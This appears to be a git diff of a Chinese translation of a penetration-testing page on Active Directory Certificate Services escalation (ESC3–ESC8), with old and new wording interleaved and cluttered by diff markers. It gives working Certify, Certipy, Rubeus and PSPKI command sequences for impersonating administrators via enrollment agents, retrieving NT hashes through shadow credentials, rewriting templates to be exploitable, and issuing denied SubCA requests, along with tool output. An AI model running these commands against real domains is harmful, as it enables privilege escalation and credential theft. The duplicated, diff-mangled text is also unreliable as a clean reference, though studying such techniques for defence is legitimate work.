(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
|
||||||
|
```
|
||||||
|
## 配置错误的注册代理模板 - ESC3
|
||||||
|
|
||||||
|
### 解释
|
||||||
|
|
||||||
|
这种情况类似于前两种,但滥用了**不同的 EKU**(证书请求代理)和**2个不同的模板**(因此有2组要求)。
|
||||||
|
|
||||||
|
**证书请求代理 EKU**(OID 1.3.6.1.4.1.311.20.2.1),在微软文档中称为**注册代理**,允许主体**代表另一个用户**为**证书**进行**注册**。
|
||||||
|
|
||||||
|
**“注册代理”**在这种**模板**中注册,并使用生成的**证书共同签署代表其他用户的 CSR**。然后**发送**共同签署的 CSR 到 CA,注册在**允许“代表”注册**的模板中,CA 会回复一个**属于“其他”用户的证书**。
|
||||||
|
|
||||||
**要求 1:**
|
**要求 1:**
|
||||||
|
|
||||||
1. 企业 CA 允许低权限用户注册权。
|
- 企业 CA 授予低特权用户注册权限。
|
||||||
2. 管理员批准被禁用。
|
- 不需要经理批准。
|
||||||
3. 不需要授权签名。
|
- 不需要授权签名。
|
||||||
4. 过于宽松的证书模板安全描述符允许低权限用户注册证书。
|
- 证书模板的安全描述符过于宽松,授予低特权用户注册权限。
|
||||||
5. **证书模板定义了证书请求代理 EKU**。证书请求代理 OID (1.3.6.1.4.1.311.20.2.1) 允许代表其他主体请求其他证书模板。
|
- 证书模板包含证书请求代理 EKU,允许代表其他主体请求其他证书模板。
|
||||||
|
|
||||||
**要求 2:**
|
**要求 2:**
|
||||||
|
|
||||||
1. 企业 CA 允许低权限用户注册权。
|
- 企业 CA 授予低特权用户注册权限。
|
||||||
2. 管理员批准被禁用。
|
- 绕过经理批准。
|
||||||
3. **模板架构版本 1 或大于 2,并指定了一个应用策略发布要求,要求证书请求代理 EKU。**
|
- 模板的模式版本为 1 或超过 2,并指定了一个需要证书请求代理 EKU 的应用程序策略签发要求。
|
||||||
4. 证书模板定义了一个允许域认证的 EKU。
|
- 证书模板中定义的 EKU 允许域身份验证。
|
||||||
5. CA 上没有实施注册代理限制。
|
- CA 上未应用注册代理的限制。
|
||||||
|
|
||||||
### 滥用
|
### 滥用
|
||||||
|
|
||||||
你可以使用 [**Certify**](https://github.com/GhostPack/Certify) 或 [**Certipy**](https://github.com/ly4k/Certipy) 来滥用这个场景:
|
您可以使用[**Certify**](https://github.com/GhostPack/Certify)或[**Certipy**](https://github.com/ly4k/Certipy)来滥用这种情况:
|
||||||
```bash
|
```bash
|
||||||
# Request an enrollment agent certificate
|
# Request an enrollment agent certificate
|
||||||
Certify.exe request /ca:CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA /template:Vuln-EnrollmentAgent
|
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
|
||||||
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local' -ca 'corp-CA' -template 'templateName'
|
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local' -ca 'corp-CA' -template 'templateName'
|
||||||
|
|
||||||
# Enrollment agent certificate to issue a certificate request on behalf of
|
# Enrollment agent certificate to issue a certificate request on behalf of
|
||||||
# another user to a template that allow for domain authentication
|
# another user to a template that allow for domain authentication
|
||||||
Certify.exe request /ca:CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf
|
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf
|
||||||
certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'
|
certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'
|
||||||
|
|
||||||
# Use Rubeus with the certificate to authenticate as the other user
|
# Use Rubeus with the certificate to authenticate as the other user
|
||||||
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
|
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
|
||||||
```
|
```
|
||||||
企业CA可以通过打开`certsrc.msc` `snap-in -> 右键点击CA -> 点击属性 -> 导航`到“注册代理”标签页,来**限制**可以**获取**注册代理证书的**用户**,注册代理可以注册的模板,以及注册代理可以代表哪些**账户**行动。
|
**用户**被允许**获取****注册代理证书**的,允许注册代理进行注册的模板,以及注册代理可以代表其执行操作的**帐户**可以受到企业CA的限制。这可以通过打开`certsrc.msc` **快照**,**右键单击CA**,**单击属性**,然后导航到“注册代理”选项卡来实现。
|
||||||
|
|
||||||
然而,**默认**的CA设置是“**不限制注册代理**”。即使管理员启用了“限制注册代理”,默认设置也是极其宽松的,允许任何人作为任何人注册所有模板。
|
然而,值得注意的是,CA的**默认**设置是“**不限制注册代理**”。当管理员启用对注册代理的限制时,将其设置为“限制注册代理”,默认配置仍然非常宽松。它允许**所有人**访问并在所有模板中进行注册。
|
||||||
|
|
||||||
## 易受攻击的证书模板访问控制 - ESC4
|
## 可被攻击的证书模板访问控制 - ESC4
|
||||||
|
|
||||||
### **解释**
|
### **解释**
|
||||||
|
|
||||||
**证书模板**有一个**安全描述符**,指定了哪些AD**主体**对模板有特定的**权限**。
|
**证书模板**上的**安全描述符**定义了特定**AD主体**对模板拥有的**权限**。
|
||||||
|
|
||||||
如果**攻击者**有足够的**权限**去**修改**一个**模板**并**创建**前面章节中的任何可利用的**配置错误**,他将能够利用它并**提升权限**。
|
如果**攻击者**拥有足够的**权限**来**更改**一个**模板**并**实施**在**前几节**中概述的任何**可利用的配置错误**,则可能促成特权升级。
|
||||||
|
|
||||||
对证书模板的有趣权限包括:
|
适用于证书模板的显着权限包括:
|
||||||
|
|
||||||
* **Owner(所有者):** 对象的隐含完全控制权,可以编辑任何属性。
|
- **所有者:**授予对对象的隐式控制,允许修改任何属性。
|
||||||
* **FullControl(完全控制):** 对象的完全控制权,可以编辑任何属性。
|
- **完全控制:**允许完全控制对象,包括修改任何属性的能力。
|
||||||
* **WriteOwner(写所有者):** 可以将所有者修改为攻击者控制的主体。
|
- **WriteOwner:**允许将对象的所有者更改为攻击者控制下的主体。
|
||||||
* **WriteDacl(写访问控制列表):** 可以修改访问控制以授予攻击者FullControl。
|
- **WriteDacl:**允许调整访问控制,可能授予攻击者完全控制。
|
||||||
* **WriteProperty(写属性):** 可以编辑任何属性
|
- **WriteProperty:**授权编辑任何对象属性。
|
||||||
|
|
||||||
### 滥用
|
### 滥用
|
||||||
|
|
||||||
一个类似前面提到的权限提升的例子:
|
类似于先前的特权升级的一个示例:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (15) (2).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (15) (2).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
ESC4是指用户对证书模板有写权限。例如,这可以被滥用来覆盖证书模板的配置,使模板易受ESC1的攻击。
|
ESC4是指用户对证书模板具有写权限。例如,这可以被滥用以覆盖证书模板的配置,使模板容易受到ESC1的攻击。
|
||||||
|
|
||||||
如上路径所示,只有`JOHNPC`有这些权限,但我们的用户`JOHN`有新的`AddKeyCredentialLink`边缘到`JOHNPC`。由于这项技术与证书有关,我也实现了这种攻击,这被称为[Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)。这里有Certipy的`shadow auto`命令的一个小预览,用于检索受害者的NT哈希。
|
正如我们在上面的路径中所看到的,只有`JOHNPC`拥有这些权限,但我们的用户`JOHN`具有`AddKeyCredentialLink`边缘到`JOHNPC`的新权限。由于这种技术与证书有关,我也实施了这种攻击,这被称为[Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)。这里是Certipy的`shadow auto`命令的一个小窥视,用于检索受害者的NT哈希。
|
||||||
|
```bash
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
|
||||||
|
```
|
||||||
**Certipy**可以用一个命令覆盖证书模板的配置。**默认情况下**,Certipy会**覆盖**配置使其**易受ESC1攻击**。我们也可以指定**`-save-old`参数来保存旧配置**,这在我们攻击后**恢复**配置时会很有用。
|
**Certipy**可以使用一条命令覆盖证书模板的配置。默认情况下,Certipy将覆盖配置以使其容易受到ESC1的攻击。我们还可以指定`-save-old`参数来保存旧配置,这在攻击后恢复配置时会很有用。
|
||||||
```bash
|
```bash
|
||||||
# Make template vuln to ESC1
|
# Make template vuln to ESC1
|
||||||
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
|
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
|
||||||
|
@ -165,89 +172,82 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target
|
||||||
# Restore config
|
# Restore config
|
||||||
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json
|
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json
|
||||||
```
|
```
|
||||||
## Vulnerable PKI Object Access Control - ESC5
|
## 脆弱的PKI对象访问控制 - ESC5
|
||||||
|
|
||||||
### 说明
|
### 解释
|
||||||
|
|
||||||
影响AD CS安全的基于ACL的相互关联关系网非常广泛。几个**证书模板和证书授权机构本身之外的对象**可以对**整个AD CS系统的安全产生影响**。这些可能性包括(但不限于):
|
相互连接的基于ACL的关系网络涵盖了除证书模板和证书颁发机构之外的多个对象,可能影响整个AD CS系统的安全性。这些对象对安全性有重大影响,包括:
|
||||||
|
|
||||||
* **CA服务器的AD计算机对象**(例如,通过S4U2Self或S4U2Proxy的妥协)
|
- CA服务器的AD计算机对象,可能通过S4U2Self或S4U2Proxy等机制受到损害。
|
||||||
* **CA服务器的RPC/DCOM服务器**
|
- CA服务器的RPC/DCOM服务器。
|
||||||
* 容器`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`中的任何**后代AD对象或容器**(例如,证书模板容器、认证机构容器、NTAuthCertificates对象、注册服务容器等)
|
- 特定容器路径`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`内的任何后代AD对象或容器。该路径包括但不限于证书模板容器、证书颁发机构容器、NTAuthCertificates对象和Enrollment Services容器。
|
||||||
|
|
||||||
如果低权限攻击者能够**控制其中任何一个**,攻击很可能**危及PKI系统**。
|
如果低权限攻击者设法控制这些关键组件中的任何一个,PKI系统的安全性可能会受到损害。
|
||||||
|
|
||||||
## EDITF\_ATTRIBUTESUBJECTALTNAME2 - ESC6
|
## EDITF\_ATTRIBUTESUBJECTALTNAME2 - ESC6
|
||||||
|
|
||||||
### 说明
|
### 解释
|
||||||
|
|
||||||
还有一个类似的问题,在[**CQure Academy文章**](https://cqureacademy.com/blog/enhanced-key-usage)中有描述,涉及到**`EDITF_ATTRIBUTESUBJECTALTNAME2`**标志。正如微软所描述的,“**如果**这个标志在CA上被**设置**,**任何请求**(包括当主题是从Active Directory®构建的时候)都可以在**主题备用名称**中包含**用户定义的值**。”\
|
[CQure Academy文章](https://cqureacademy.com/blog/enhanced-key-usage)中讨论的主题也涉及到Microsoft概述的**`EDITF_ATTRIBUTESUBJECTALTNAME2`**标志的含义。当在证书颁发机构(CA)上激活此配置时,允许在**主题备用名称**中包含**用户定义的值**,用于**任何请求**,包括从Active Directory®构建的请求。因此,此配置允许**入侵者**通过为域**身份验证**设置的**任何模板**进行注册,特别是那些对**非特权用户**开放的用户模板。结果,可以获得一个证书,使入侵者能够作为域管理员或域内的**任何其他活动实体**进行身份验证。
|
||||||
这意味着**攻击者**可以注册**任何**配置为域**认证**的**模板**,同时也**允许无特权**用户注册(例如,默认的用户模板),并**获取证书**,允许我们以域管理员(或**任何其他活跃用户/机器**)的身份**认证**。
|
|
||||||
|
|
||||||
**注意**:这里的**备用名称**是通过`certreq.exe`的`-attrib "SAN:"`参数(即“名称值对”)包含在CSR中的。这与在ESC1中**滥用SANs**的方法**不同**,因为它是**将账户信息存储在证书属性中,而不是证书扩展中**。
|
**注意**:通过在`certreq.exe`中使用`-attrib "SAN:"`参数(称为“名称值对”)将**备用名称**附加到证书签名请求(CSR)的方法,与ESC1中对SAN的利用策略形成**对比**。这里的区别在于**帐户信息如何封装**—在证书属性中,而不是在扩展中。
|
||||||
|
|
||||||
### 滥用
|
### 滥用
|
||||||
|
|
||||||
组织可以使用以下`certutil.exe`命令**检查设置是否启用**:
|
要验证设置是否已激活,组织可以使用以下命令与`certutil.exe`:
|
||||||
```bash
|
```bash
|
||||||
certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
|
certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
|
||||||
```
|
```
|
||||||
下面,这只是使用了**远程** **注册表**,因此以下命令也可能有效:
|
这个操作基本上使用了**远程注册表访问**,因此,另一种方法可能是:
|
||||||
```
|
```bash
|
||||||
reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
|
reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
|
||||||
```
|
```
|
||||||
[**Certify**](https://github.com/GhostPack/Certify) 和 [**Certipy**](https://github.com/ly4k/Certipy) 也会检查这个问题,并且可以用来滥用这种错误配置:
|
工具如[**Certify**](https://github.com/GhostPack/Certify)和[**Certipy**](https://github.com/ly4k/Certipy)能够检测到这种错误配置并利用它:
|
||||||
```bash
|
```bash
|
||||||
# Check for vulns, including this one
|
# Detect vulnerabilities, including this one
|
||||||
Certify.exe find
|
Certify.exe find
|
||||||
|
|
||||||
# Abuse vuln
|
# Exploit vulnerability
|
||||||
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:User /altname:localadmin
|
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
|
||||||
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
|
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
|
||||||
```
|
```
|
||||||
这些设置可以在任何系统上进行**设置**,假设有**域管理员**(或同等)权限:
|
要更改这些设置,假设拥有**域管理员**权限或等效权限,可以从任何工作站执行以下命令:
|
||||||
```bash
|
```bash
|
||||||
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
|
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
|
||||||
```
|
```
|
||||||
如果您在环境中发现此设置,您可以使用以下命令**移除此标志**:
|
要在您的环境中禁用此配置,可以使用以下命令删除标志:
|
||||||
```bash
|
```bash
|
||||||
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
|
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
|
||||||
```
|
```
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
在 2022 年 5 月的安全更新之后,新的**证书**将具有一个**安全扩展**,该扩展嵌入了**请求者的 `objectSid` 属性**。对于 ESC1,此属性将反映自指定的 SAN,但对于 **ESC6**,此属性反映的是**请求者的 `objectSid`**,而不是来自 SAN。\
|
在 2022 年 5 月的安全更新之后,新发布的**证书**将包含一个**安全扩展**,其中包含了**请求者的 `objectSid` 属性**。对于 ESC1,此 SID 是从指定的 SAN 派生而来。然而,对于**ESC6**,SID 反映了**请求者的 `objectSid`**,而不是 SAN。\
|
||||||
因此,**要滥用 ESC6**,环境必须容易受到 ESC10 的攻击(弱证书映射),在这种情况下,**SAN 会被优先于新的安全扩展**。
|
要利用 ESC6,系统必须容易受到 ESC10(弱证书映射)的影响,该映射将**SAN 优先于新的安全扩展**。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## 易受攻击的证书授权访问控制 - ESC7
|
## 易受攻击的证书颁发机构访问控制 - ESC7
|
||||||
|
|
||||||
### 攻击 1
|
### 攻击 1
|
||||||
|
|
||||||
#### 解释
|
#### 解释
|
||||||
|
|
||||||
证书授权本身具有一套**权限**,用于保护各种**CA 操作**。这些权限可以通过 `certsrv.msc` 访问,右键单击 CA,选择属性,然后切换到安全选项卡:
|
证书颁发机构的访问控制是通过一组权限来维护的,这些权限管理着 CA 的操作。可以通过访问 `certsrv.msc`,右键单击 CA,选择属性,然后导航到安全选项卡来查看这些权限。此外,可以使用 PSPKI 模块来枚举权限,例如:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (73) (2).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
这也可以通过 [**PSPKI 模块**](https://www.pkisolutions.com/tools/pspki/) 使用 `Get-CertificationAuthority | Get-CertificationAuthorityAcl` 来枚举:
|
|
||||||
```bash
|
```bash
|
||||||
Get-CertificationAuthority -ComputerName dc.theshire.local | Get-certificationAuthorityAcl | select -expand Access
|
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
|
||||||
```
|
```
|
||||||
|
这提供了关于主要权限的见解,即**`ManageCA`**和**`ManageCertificates`**,分别对应“CA管理员”和“证书管理员”的角色。
|
||||||
|
|
||||||
#### 滥用
|
#### 滥用
|
||||||
|
|
||||||
如果您拥有在**证书颁发机构**上具有**`ManageCA`** 权限的主体,我们可以使用 **PSPKI** 远程翻转 **`EDITF_ATTRIBUTESUBJECTALTNAME2`** 位以**允许 SAN** 在任何模板中指定([ECS6](domain-escalation.md#editf_attributesubjectaltname2-esc6)):
|
在证书颁发机构上拥有**`ManageCA`**权限使主体能够使用PSPKI远程操纵设置。这包括切换**`EDITF_ATTRIBUTESUBJECTALTNAME2`**标志,以允许在任何模板中指定SAN,这是域提升的关键方面。
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
通过使用PSPKI的**Enable-PolicyModuleFlag** cmdlet,可以简化此过程,允许进行修改而无需直接GUI交互。
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (70) (2).png" alt=""><figcaption></figcaption></figure>
|
拥有**`ManageCertificates`**权限可促使批准待处理请求,有效地规避了“CA证书管理员批准”保障。
|
||||||
|
|
||||||
这也可以用更简单的形式通过 [**PSPKI 的 Enable-PolicyModuleFlag**](https://www.sysadmins.lv/projects/pspki/enable-policymoduleflag.aspx) cmdlet 实现。
|
**Certify**和**PSPKI**模块的组合可用于请求、批准和下载证书:
|
||||||
|
|
||||||
**`ManageCertificates`** 权限允许**批准待处理的请求**,因此绕过了“CA 证书管理员批准”保护。
|
|
||||||
|
|
||||||
您可以使用 **Certify** 和 **PSPKI** 模块的**组合**来请求证书,批准它,并下载它:
|
|
||||||
```powershell
|
```powershell
|
||||||
# Request a certificate that will require an approval
|
# Request a certificate that will require an approval
|
||||||
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:ApprovalNeeded
|
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
|
||||||
[...]
|
[...]
|
||||||
[*] CA Response : The certificate is still pending.
|
[*] CA Response : The certificate is still pending.
|
||||||
[*] Request ID : 336
|
[*] Request ID : 336
|
||||||
|
@ -255,39 +255,39 @@ Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:ApprovalNeede
|
||||||
|
|
||||||
# Use PSPKI module to approve the request
|
# Use PSPKI module to approve the request
|
||||||
Import-Module PSPKI
|
Import-Module PSPKI
|
||||||
Get-CertificationAuthority -ComputerName dc.theshire.local | Get-PendingRequest -RequestID 336 | Approve-CertificateRequest
|
Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -RequestID 336 | Approve-CertificateRequest
|
||||||
|
|
||||||
# Download the certificate
|
# Download the certificate
|
||||||
Certify.exe download /ca:dc.theshire.local\theshire-DC-CA /id:336
|
Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
|
||||||
```
|
```
|
||||||
### 攻击 2
|
### 攻击 2
|
||||||
|
|
||||||
#### 解释
|
#### 解释
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
在**前一个攻击**中,使用了**`Manage CA`** 权限来**启用** **EDITF\_ATTRIBUTESUBJECTALTNAME2** 标志以执行 **ESC6 攻击**,但在重启 CA 服务(`CertSvc`)之前,这不会产生任何效果。当用户拥有 `Manage CA` 访问权限时,用户也被允许**重启服务**。然而,这**并不意味着用户可以远程重启服务**。此外,由于 2022 年 5 月的安全更新,**ESC6 可能在大多数打了补丁的环境中无法立即使用**。
|
在**上一次攻击**中,使用了**`Manage CA`**权限来**启用** **EDITF\_ATTRIBUTESUBJECTALTNAME2** 标志以执行**ESC6攻击**,但在CA服务(`CertSvc`)重新启动之前,这不会产生任何效果。当用户拥有`Manage CA`访问权限时,用户也被允许**重新启动服务**。然而,这**并不意味着用户可以远程重新启动服务**。此外,由于2022年5月的安全更新,**ESC6**在大多数已打补丁的环境中**可能无法直接使用**。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
因此,这里介绍另一种攻击方法。
|
因此,这里提出另一种攻击。
|
||||||
|
|
||||||
先决条件:
|
先决条件:
|
||||||
|
|
||||||
* 仅 **`ManageCA` 权限**
|
- 仅**`ManageCA`权限**
|
||||||
* **`管理证书`** 权限(可以通过 **`ManageCA`** 授予)
|
- **`Manage Certificates`**权限(可以从**`ManageCA`**授予)
|
||||||
* 证书模板 **`SubCA`** 必须是**启用**状态(可以通过 **`ManageCA`** 启用)
|
- 必须**启用**证书模板**`SubCA`**(可以从**`ManageCA`**启用)
|
||||||
|
|
||||||
这项技术依赖于一个事实,即拥有 `Manage CA` _和_ `Manage Certificates` 访问权限的用户可以**发放失败的证书请求**。**`SubCA`** 证书模板**容易受到 ESC1 的攻击**,但**只有管理员**可以注册该模板。因此,一个**用户**可以**请求**注册 **`SubCA`** - 这将被**拒绝** - 但**之后可以由管理员发放**。
|
该技术依赖于具有`Manage CA`和`Manage Certificates`访问权限的用户可以**发出失败的证书请求**。**`SubCA`**证书模板**易受ESC1攻击**,但**只有管理员**可以在模板中注册。因此,**用户**可以**请求**注册**`SubCA`** - 将被**拒绝** - 但**然后由管理员发放**。
|
||||||
|
|
||||||
#### 滥用
|
#### 滥用
|
||||||
|
|
||||||
你可以通过将你的用户添加为新的官员,**授予自己 `Manage Certificates`** 访问权限。
|
您可以通过将您的用户添加为新的官员来**授予自己`Manage Certificates`**访问权限。
|
||||||
```bash
|
```bash
|
||||||
certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
|
certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
|
||||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||||
|
|
||||||
[*] Successfully added officer 'John' on 'corp-DC-CA'
|
[*] Successfully added officer 'John' on 'corp-DC-CA'
|
||||||
```
|
```
|
||||||
**`SubCA`** 模板可以使用 `-enable-template` 参数在 CA 上**启用**。默认情况下,`SubCA` 模板是启用的。
|
**`SubCA`** 模板可以使用 `-enable-template` 参数在 CA 上启用。默认情况下,`SubCA` 模板已启用。
|
||||||
```bash
|
```bash
|
||||||
# List templates
|
# List templates
|
||||||
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
|
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
|
||||||
|
@ -299,9 +299,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||||
|
|
||||||
[*] Successfully enabled 'SubCA' on 'corp-DC-CA'
|
[*] Successfully enabled 'SubCA' on 'corp-DC-CA'
|
||||||
```
|
```
|
||||||
如果我们满足了这次攻击的先决条件,我们可以开始**基于`SubCA`模板**请求一个证书。
|
如果我们已经满足了这次攻击的先决条件,我们可以开始通过**基于`SubCA`模板请求证书**。
|
||||||
|
|
||||||
**这个请求将会被拒绝**,但我们将保存私钥并记录下请求ID。
|
**这个请求将被拒绝**,但我们会保存私钥并记录请求ID。
|
||||||
```bash
|
```bash
|
||||||
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
|
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
|
||||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||||
|
@ -313,14 +313,14 @@ Would you like to save the private key? (y/N) y
|
||||||
[*] Saved private key to 785.key
|
[*] Saved private key to 785.key
|
||||||
[-] Failed to request certificate
|
[-] Failed to request certificate
|
||||||
```
|
```
|
||||||
使用我们的 **`管理 CA` 和 `管理证书`**,我们可以使用 `ca` 命令和 `-issue-request <request ID>` 参数来**颁发失败的证书**请求。
|
使用我们的 **`Manage CA` 和 `Manage Certificates`**,然后我们可以使用 `ca` 命令和 `-issue-request <request ID>` 参数来 **发出失败的证书** 请求。
|
||||||
```bash
|
```bash
|
||||||
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
|
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
|
||||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||||
|
|
||||||
[*] Successfully issued certificate
|
[*] Successfully issued certificate
|
||||||
```
|
```
|
||||||
最后,我们可以使用 `req` 命令和 `-retrieve <request ID>` 参数**检索已颁发的证书**。
|
最后,我们可以使用`req`命令和`-retrieve <request ID>`参数**检索已签发的证书**。
|
||||||
```bash
|
```bash
|
||||||
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
|
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
|
||||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||||
|
@ -332,39 +332,53 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||||
[*] Loaded private key from '785.key'
|
[*] Loaded private key from '785.key'
|
||||||
[*] Saved certificate and private key to 'administrator.pfx'
|
[*] Saved certificate and private key to 'administrator.pfx'
|
||||||
```
|
```
|
||||||
## NTLM Relay 到 AD CS HTTP 端点 – ESC8
|
## NTLM Relay to AD CS HTTP Endpoints – ESC8
|
||||||
|
|
||||||
### 解释
|
### 解释
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
总结来说,如果一个环境安装了 **AD CS**,并且有一个 **易受攻击的 web 登记端点**,至少发布了一个允许 **域计算机注册和客户端认证** 的 **证书模板**(如默认的 **`Machine`** 模板),那么 **攻击者可以危害任何运行打印服务的计算机**!
|
在安装了**AD CS**的环境中,如果存在一个**易受攻击的网络登录端点**,并且至少发布了一个允许**域计算机登录和客户端认证**的**证书模板**(例如默认的**`Machine`**模板),那么**任何启用了 spooler 服务的计算机都有可能被攻击者入侵**!
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
AD CS 支持通过额外的 AD CS 服务器角色安装的几种 **基于 HTTP 的注册方法**。这些基于 HTTP 的证书注册接口都 **容易受到 NTLM 中继攻击**。使用 NTLM 中继,攻击者在 **被危害的机器上可以冒充任何进行入站 NTLM 认证的 AD 账户**。在冒充受害者账户时,攻击者可以访问这些 web 接口并 **基于 `User` 或 `Machine` 证书模板请求客户端认证证书**。
|
AD CS支持几种基于HTTP的登录方法,通过管理员安装的附加服务器角色提供。这些基于HTTP的证书登录接口容易受到**NTLM中继攻击**的影响。攻击者可以从**受攻击的计算机上**冒充通过入站NTLM进行身份验证的**任何AD帐户**。在冒充受害者帐户的同时,攻击者可以访问这些Web接口,**使用`User`或`Machine`证书模板请求客户端认证证书**。
|
||||||
|
|
||||||
* **web 登记接口**(一个外观较旧的 ASP 应用程序,可在 `http://<caserver>/certsrv/` 访问),默认只支持 HTTP,无法防御 NTLM 中继攻击。此外,它明确只允许通过其 Authorization HTTP 头进行 NTLM 认证,因此更安全的协议如 Kerberos 无法使用。
|
* **网络登录接口**(位于`http://<caserver>/certsrv/`的较旧的ASP应用程序)默认仅支持HTTP,不提供对NTLM中继攻击的保护。此外,它明确只通过其授权HTTP标头允许NTLM身份验证,使更安全的身份验证方法如Kerberos无法应用。
|
||||||
